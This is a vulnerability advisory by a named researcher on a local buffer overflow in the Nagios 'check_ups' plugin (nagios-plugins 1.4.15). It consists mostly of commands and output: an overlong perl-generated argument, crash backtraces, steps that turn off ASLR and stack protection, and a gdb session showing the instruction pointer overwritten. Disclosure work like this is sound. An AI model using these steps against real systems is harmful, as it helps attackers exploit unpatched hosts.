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# Advisory: Nagios Plugin 'check_ups' local buffer overflow
# Author: Stefan Schurtz
# Contact: s.schurtz@infoserve.de
# Affected Software: Successfully tested on nagios-plugins-1.4.15
# Vendor URL: http://nagiosplugins.org/
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./check_ups -u `perl -e 'print "A"x16407'`
*** buffer overflow detected ***: ./check_ups terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x50)[0x25d970]
/lib/libc.so.6(+0xe486a)[0x25c86a]
/lib/libc.so.6(+0xe3fa8)[0x25bfa8]
/lib/libc.so.6(_IO_default_xsputn+0x9e)[0x1e2a2e]
/lib/libc.so.6(_IO_vfprintf+0x36b2)[0x1b88c2]
/lib/libc.so.6(__vsprintf_chk+0xad)[0x25c05d]
/lib/libc.so.6(__sprintf_chk+0x2d)[0x25bf9d]
./check_ups[0x8049e66]
./check_ups[0x804a105]
./check_ups[0x804a4ce]
/lib/libc.so.6(__libc_start_main+0xe7)[0x18ece7]
./check_ups[0x80491a1]
======= Memory map: ========
00110000-0012c000 r-xp 00000000 08:01 660177 /lib/ld-2.12.1.so
0012c000-0012d000 r--p 0001b000 08:01 660177 /lib/ld-2.12.1.so
0012d000-0012e000 rw-p 0001c000 08:01 660177 /lib/ld-2.12.1.so
0012e000-0012f000 r-xp 00000000 00:00 0 [vdso]
0012f000-00142000 r-xp 00000000 08:01 660186 /lib/libnsl-2.12.1.so
00142000-00143000 r--p 00012000 08:01 660186 /lib/libnsl-2.12.1.so
00143000-00144000 rw-p 00013000 08:01 660186 /lib/libnsl-2.12.1.so
00144000-00146000 rw-p 00000000 00:00 0
// Compile without stack protection
sysctl -w kernel.randomize_va_space=0
cd plugins/
gcc -fno-stack-protector -z execstack -DNP_VERSION=\"1.4.15\" -g -o check_ups check_ups.c netutils.o utils.o -L/usr/src/nagios-plugins-1.4.15/plugins ../lib/libnagiosplug.a ../gl/libgnu.a -DLOCALEDIR=\"/usr/local/nagios/share/locale\" -I../lib -I../gl -I../intl -I..
// next test
./check_ups -u `perl -e 'print "A"x16408'`
Connection refused
Invalid response received from host
Segmentation fault
(gdb) run -u `perl -e 'print "A"x16408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/src/nagios-plugins-1.4.15/plugins/check_ups -u `perl -e 'print "A"x16408'`
Connection refused
Invalid response received from host
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax 0xffffffff -1
ecx 0x2914e0 2692320
edx 0x292360 2696032
ebx 0x41414141 1094795585
esp 0xbfff56f0 0xbfff56f0
ebp 0x41414141 0x41414141 <--- AAAA
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141 <--- AAAA
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
